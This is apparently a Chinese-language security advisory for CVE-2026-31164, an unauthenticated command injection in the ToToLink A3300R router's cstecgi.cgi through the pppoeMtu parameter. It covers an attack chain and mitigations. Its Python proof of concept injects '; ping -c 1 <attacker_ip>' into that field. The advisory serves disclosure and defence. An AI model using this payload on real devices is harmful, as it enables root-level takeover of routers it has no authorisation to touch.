CVE-2026-31164 CVSS 6.5 中危

CVE-2026-31164 ToToLink A3300R 命令注入漏洞

披露日期: 2026-04-23

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-31164

漏洞类型

命令注入

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

ToToLink A3300R

漏洞概述

ToToLink A3300R路由器固件v17.0.0cu.557_B20221024版本存在安全漏洞。由于/cgi-bin/cstecgi.cgi接口对pppoeMtu参数缺乏有效过滤，未经身份验证的远程攻击者可构造恶意请求注入任意系统命令，进而完全控制设备。

技术细节

该漏洞属于典型的操作系统命令注入漏洞。在ToToLink A3300R路由器的Web管理界面中，`/cgi-bin/cstecgi.cgi`脚本负责处理各类配置请求。当程序处理PPPOE拨号配置时，直接提取用户提交的`pppoeMtu`参数并拼接至系统命令字符串中，未进行任何特殊字符过滤或转义。攻击者可以利用Shell元字符（如 `;`、`|` 或 `` ` ``）截断原有命令并插入恶意指令。由于该接口无需身份验证（PR:N）且通过网络访问（AV:N），攻击者可发送特制的HTTP POST数据包触发漏洞，以Root权限在后台执行任意命令，导致信息泄露或设备被控。

攻击链分析

STEP 1

侦察

攻击者扫描网络，识别出目标ToToLink A3300R设备及其Web管理接口。

STEP 2

武器化

攻击者构造包含Shell元字符的恶意`pppoeMtu`参数值，设计用于执行任意系统命令的Payload。

STEP 3

交付

攻击者向目标设备的/cgi-bin/cstecgi.cgi接口发送特制的HTTP POST请求，无需用户交互。

STEP 4

利用

CGI脚本处理请求时，将未经过滤的参数传递给系统Shell，导致注入的恶意命令在设备上以Root权限执行。

STEP 5

行动

攻击者获得设备控制权，可安装后门、窃取敏感信息或发起进一步的网络攻击。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL
url = "http://<target_ip>/cgi-bin/cstecgi.cgi"

# Vulnerable parameter and payload
# Example payload: injecting a simple shell command to ping back
command = "ping -c 1 <attacker_ip>"
payload = f"; {command}"

data = {
    "topicurl": "setWanPPPoE",  # Assumed endpoint based on parameter context
    "pppoeMtu": "1490" + payload
}

try:
    response = requests.post(url, data=data)
    print(f"Status Code: {response.status_code}")
    print("Response:", response.text)
except Exception as e:
    print(f"An error occurred: {e}")

影响范围

ToToLink A3300R v17.0.0cu.557_B20221024

防御指南

临时缓解措施

在未升级固件前，建议立即关闭路由器的远程Web管理功能（Remote Management），仅允许受信任的内网IP访问管理后台。同时，建议在网络边界部署入侵防御系统（IPS），以检测并阻断针对/cgi-bin路径的异常请求特征。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表